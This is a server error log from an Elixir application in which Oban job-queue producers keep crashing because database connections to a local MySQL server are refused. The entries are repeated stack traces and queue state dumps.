State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-03 05:41:55.239781Z], limit: 5, uuid: "f7224900-c55b-48b8-a03b-04567948ef9d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:41:55.239786Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1074003971.218115>, refresh_timer: #Reference<0.2525715032.1067188228.17094>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:07.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-03 05:41:55.241137Z], limit: 3, uuid: "0aae0285-779c-4a63-a6f5-0d16b99c8d50", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:41:55.241143Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1074003971.218118>, refresh_timer: #Reference<0.2525715032.1110441985.228032>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:07.447000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:08.899000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:09.447000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:10.895000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:11.719000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:13.753000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:14.939000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:15.692000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:16.718000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:16.779000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:19.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-03 05:42:07.250372Z], limit: 50, uuid: "51c34aef-7bbb-4baa-8538-a1b34cc286ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:07.250459Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1092616194.201465>, refresh_timer: #Reference<0.2525715032.1110441985.228085>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1095ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-03 05:42:07.250549Z], limit: 20, uuid: "95550986-436a-4fdf-aaeb-454242694737", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:07.250555Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1110441985.228089>, refresh_timer: #Reference<0.2525715032.1092616194.201439>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-03 05:42:07.261164Z], limit: 3, uuid: "dae92017-a61b-45cc-91b2-ec54d2850a88", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:07.261170Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1110441985.228125>, refresh_timer: #Reference<0.2525715032.1110441985.228124>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:19.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-03 05:42:07.248101Z], limit: 5, uuid: "57de480b-3654-4ddd-b291-30d1194407e8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:07.248111Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1092616194.201464>, refresh_timer: #Reference<0.2525715032.1092616194.201418>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:19.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-03 05:42:07.258461Z], limit: 5, uuid: "59f3d25e-ce34-4c71-ae8d-e9f99a8e5ee9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:07.258471Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1067188228.17316>, refresh_timer: #Reference<0.2525715032.1067188228.17306>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:19.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-03 05:42:07.250524Z], limit: 10, uuid: "3008816f-b86f-4a46-8f62-234536a9968d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:07.250528Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1110441985.228088>, refresh_timer: #Reference<0.2525715032.1110441985.228087>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:19.865000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:21.485000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:21.643000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:21.861000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:23.424000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:24.415000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:25.364000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:26.211000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:27.450000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:29.279000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
